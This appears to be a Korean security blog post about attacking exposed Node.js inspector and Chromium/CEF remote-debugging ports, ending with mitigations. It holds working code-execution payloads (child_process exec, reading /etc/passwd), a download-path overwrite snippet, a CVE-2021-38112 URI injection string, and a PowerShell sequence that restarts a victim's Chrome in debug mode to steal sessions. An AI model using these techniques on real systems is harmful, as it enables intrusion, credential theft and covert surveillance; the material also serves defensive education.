1. 개요
만약 대상 서버에서 Node.js 애플리케이션이 실행 중이거나 Electron으로 만들어진 데스크톱 애플리케이션을 분석해야할 때 디버거 포트가 열려있다면 사실상 서버 내에서 임의의 코드를 실행할 수 있는 권한을 가진 것과 다름없다.
Node.js에는 --inspect라는 디버깅 플래그가 존재하며, Chromium 계열 브라우저에는 --remote-debugging-port라는 옵션이 있다. 둘 다 원래 개발자가 디버깅을 위해 만들어진 기능인데, 공격자 입장에서 이 포트에 연결하는 순간 해당 프로세스 컨텍스트에서 임의 코드를 실행할 수 있게 된다.
2. 언제 쓰는가?
실제 이 기법이 유효한 시나리오는 다양하다.
- 내부 네트워크 침투 후 횡이동 단계에서 내부망 진입 시 nmap 스캐닝을 통해 어떤 서버의 9229 포트가 열려있는 것을 확인했다. 개발자가 트러블슈팅을 위해
--inspect=0.0.0.0:9229로 띄워놓고 그대로 둔 것이다. 연결이 가능하면 바로 임의 코드 실행이 가능하다. - 컨테이너 환경에서 권한 상승을 노릴 때 컨테이너 안에서의 제한된 쉘로부터 Node.js 프로세스가 실행 중임을 확인했다. 프로세스를 재시작할 순 없지만
SIGUSR1시그널 하나로 디버거를 켤 수 있다. - Electron 기반 데스크톱 애플리케이션에서 CEF 디버거 포트가 열려 있거나, 커스텀 URI 스킴을 통해 디버깅 플래그를 주입할 수 있다면 RCE까지 이어진다.
- Post-Exploitation에서 지속적인 정보 수집이 필요할 때 피해자가 Chrome을 사용하고 있다면, 디버깅 모드로 브라우저를 재시작 시 모든 탭의 트래픽, 쿠키, 입력값을 실시간으로 볼 수 있다.
3. 왜 알아야 하는가?
"디버거 포트가 열려 있는 경우가 얼마나 되겠어?"라고 생각할 수 있지만 자주 마주칠 수 있다.
개발 및 스테이징 환경 설정이 프로덕션에 그대로 올라가는 건 생각보다 흔한 일이다. docker-compose.yml에 --inspect=0.0.0.0:9229가 설정된 채로 배포되는 경우도 있다.
무엇보다 임팩트가 강하기 때문이다. 디버거 포트 하나로 코드 실행, 파일 시스템 접근, 환경변수 내 시크릿 탈취 등이 가능하다.
4. 어떻게 동작하는가?
공격 기법을 이해하려면 먼저 디버거가 어떤 식으로 동작하는지 알아야 한다. 크게 두 가지 유형으로 나뉜다.
Node.js Inspector
Node.js를 --inspect 플래그로 실행하면 WebSocket 엔드포인트가 열린다. 기본 바인딩은 127.0.0.1:9229이고, 프로세스마다 고유 UUID가 부여된다.
ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e
실행 옵션을 정리하면 다음과 같다:
| 명령어 | 설명 |
|---|---|
node --inspect app.js |
기본 포트 9229, 로컬 바인딩 |
node --inspect=4444 app.js |
포트 4444 지정 |
node --inspect=0.0.0.0:4444 app.js |
전체 인터페이스 바인딩 (위험) |
node --inspect-brk=0.0.0.0:4444 app.js |
위와 동일, 첫 줄에서 브레이크 |
node --inspect --inspect-port=0 app.js |
랜덤 포트 할당 |
핵심은 디버거가 Node.js 런타임에 대한 전체 접근 권한을 가진다는 것이다. child_process.exec()를 호출할 수 있고, 파일 시스템을 읽을 수 있으며 환경변수를 덤프할 수 있다. 결론적으로 연결이 된다는 것은 결국 RCE인 셈이다.
CEF / Chromium Remote Debugging
Electron 같은 CEF(Chromium Embedded Framework) 기반 앱은 --remote-debugging-port=9222로 디버거를 활성화한다.
DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-...
Node.js Inspector와 결정적으로 다른 점이 하나 있다. CDP(Chrome DevTools Protocol) 연결에서는 child_process.exec() 같은 직접적인 시스템 명령 실행이 불가능하다. 브라우저 제어 인터페이스이기 때문이다.
대신 파일 다운로드 경로 조작, JavaScript 주입, 페이지 콘텐츠 탈취 같은 간접적 경로를 활용해야 한다. 이 차이를 모르면 익스플로잇 과정에서 시간을 낭비하게 된다.
5. 보안 메커니즘: 왜 아무나 못 붙는가 (그리고 어떻게 뚫리는가)
동일 출처 정책과 Host 헤더 검증
디버거 연결을 위해 먼저 HTTP 요청으로 세션 ID(UUID)를 획득해야 하낟. 브라우저의 동일 출처 정책(SOP)이 이 요청을 차단하고, Node.js는 추가로 Host 헤더가 IP 주소, localhost, localhost6 중 하나인지 검증한다. DNS Rebinding 공격을 막기 위한 장치다.
그런데 해당 보호는 HTTP 레벨에서만 작동하게 된다. 이미 내부 네트워크에 존재하거나 로컬에서 접근 가능한 상황이라면 WebSocket 연결을 직접 수립할 수 있으므로 이 보호는 의미가 없다. SSRF 단독으로는 어렵지만, 내부 침투 후에는 아무런 장벽이 없는 것이다.
SIGUSR1: 재시작 없이 디버거 켜기
kill -s SIGUSR1 <nodejs-pid>
# Inspector가 기본 포트에서 시작되고, WebSocket URL이 출력된다
이 시그널을 보낼 권한만 있으면 된다. 컨테이너 안에서 Node.js 프로세스 PID를 알고 있고, 시그널을 보낼 수 있다면 디버거를 동적으로 활성화할 수 있다. 프로세스를 재시작할 수 없는 컨테이너 환경에서 특히 유용하다.
연결부터 코드 실행까지
Step 1 — 디버거 포트 찾기
포트 스캔에서 9229(Node.js Inspector 기본), 9222(Chrome Remote Debugging 기본)가 보이면 우선 의심한다. cefdebug 도구를 사용하면 로컬에서 열려 있는 CEF 디버거 소켓을 자동으로 탐지할 수 있다:
./cefdebug.exe
# 열려 있는 디버거 소켓 목록이 출력된다
Step 2 — 연결
node inspect 127.0.0.1:9229
Chromium 브라우저:
chrome://inspect (또는 edge://inspect) 접속 → Configure에서 대상 호스트:포트 등록 → Remote Target 목록에 나타나면 Inspect 클릭
Step 3 — 코드 실행 (Node.js Inspector인 경우)
디버그 콘솔에서 바로 실행할 수 있다:
// 가장 보편적인 RCE 페이로드
process.mainModule.require("child_process").exec("id")
// 동기 실행이 필요할 때
require("child_process").spawnSync("cat", ["/etc/passwd"]).stdout.toString()
// Electron AppShell 컨텍스트
window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")
// Browser API
Browser.open(JSON.stringify({ url: "c:\\windows\\system32\\calc.exe" }))
cefdebug를 사용한 원라이너:
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-... \
--code "process.mainModule.require('child_process').exec('calc')"
위 페이로드들은 Node.js Inspector 연결에서만 동작한다. CDP 연결에서는 아래의 간접 기법을 써야 한다.
CDP(Chrome DevTools Protocol) 환경에서의 공격 기법
CDP로 연결된 경우 직접적인 시스템 명령 실행은 안 되지만, 프로토콜이 제공하는 기능 자체를 공격적으로 활용할 수 있다.
다운로드 경로 조작을 통한 파일 덮어쓰기
Browser.setDownloadBehavior 메서드로 다운로드 저장 경로를 애플리케이션 소스 코드 디렉터리로 변경한 뒤, 악성 파일을 다운로드시켜 기존 코드를 덮어쓴다:
ws = new WebSocket(url);
ws.send(JSON.stringify({
id: 42069,
method: "Browser.setDownloadBehavior",
params: {
behavior: "allow",
downloadPath: "/code/"
}
}));
애플리케이션이 해당 파일을 다시 로드하는 시점에 악성 코드가 실행된다.
커스텀 URI 스킴을 통한 커맨드라인 인젝션 (CVE-2021-38112)
CEF 앱이 workspaces:// 같은 커스텀 URI를 시스템에 등록하는 경우, URI 파라미터가 URL 디코딩 후 프로세스 실행 인자로 전달될 수 있다. AWS WorkSpaces에서 발견된 이 취약점은 --gpu-launcher 플래그를 주입하여 임의 프로그램을 실행할 수 있었다:
workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE
Electron이나 CEF 기반 앱을 분석할 때 커스텀 URI 핸들러가 등록되어 있는지, 그 파라미터가 어떻게 처리되는지 반드시 확인해야 한다.
Post-Exploitation: 브라우저 세션 하이재킹
대상 PC에 접근 권한을 이미 확보한 상태에서, 피해자가 Chrome을 사용하고 있다면 가장 강력한 사후 활용 시나리오가 가능하다.
# 1. 기존 Chrome 프로세스를 모두 종료
Stop-Process -Name "chrome" -Force
# 2. 디버깅 모드 + 세션 복원으로 재실행
Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"
--restore-last-session 덕분에 피해자의 모든 탭(로그인 상태 포함)이 그대로 복원된다. 사용자는 "Chrome이 잠깐 꺼졌다 켜졌네" 정도로만 인지한다. 공격자는 CDP를 통해 모든 탭의 DOM 및 네트워크 트래픽을 실시간으로 모니터링하고, 쿠키/로컬 스토리지/세션 토큰을 탈취하고, JavaScript 주입으로 키로깅하거나, 폼 자동 제출을 통한 추가 공격을 수행할 수 있다.
대응 방안
프로덕션에서는 --inspect 플래그를 쓰지 말아야 한다. CI/CD 파이프라인, Dockerfile, docker-compose.yml, PM2 설정 파일을 전부 뒤져서 디버그 플래그가 끼어 있지 않은지 확인한다. 개발 환경에서도 바인딩 주소는 무조건 127.0.0.1이다. 0.0.0.0은 안 된다.
네트워크 레벨에서는 9229, 9222 포트 외부 접근을 방화벽으로 차단한다. 컨테이너 환경이라면 --cap-drop으로 불필요한 시그널 전송 권한을 제거해서 SIGUSR1을 통한 런타임 Inspector 활성화를 막는다. CEF 기반 앱이라면 커스텀 URI 핸들러 입력값 검증도 빠뜨리면 안 된다. URI 파라미터가 프로세스 실행 인자로 전달되는 경로가 있으면 화이트리스트 기반 검증을 적용한다.
마지막으로, EDR이나 모니터링 시스템에 디버거 포트 리스닝과 --remote-debugging-port 인자를 포함한 프로세스 실행 탐지 규칙을 추가한다.
Comments
Sign in with GitHub to leave a comment.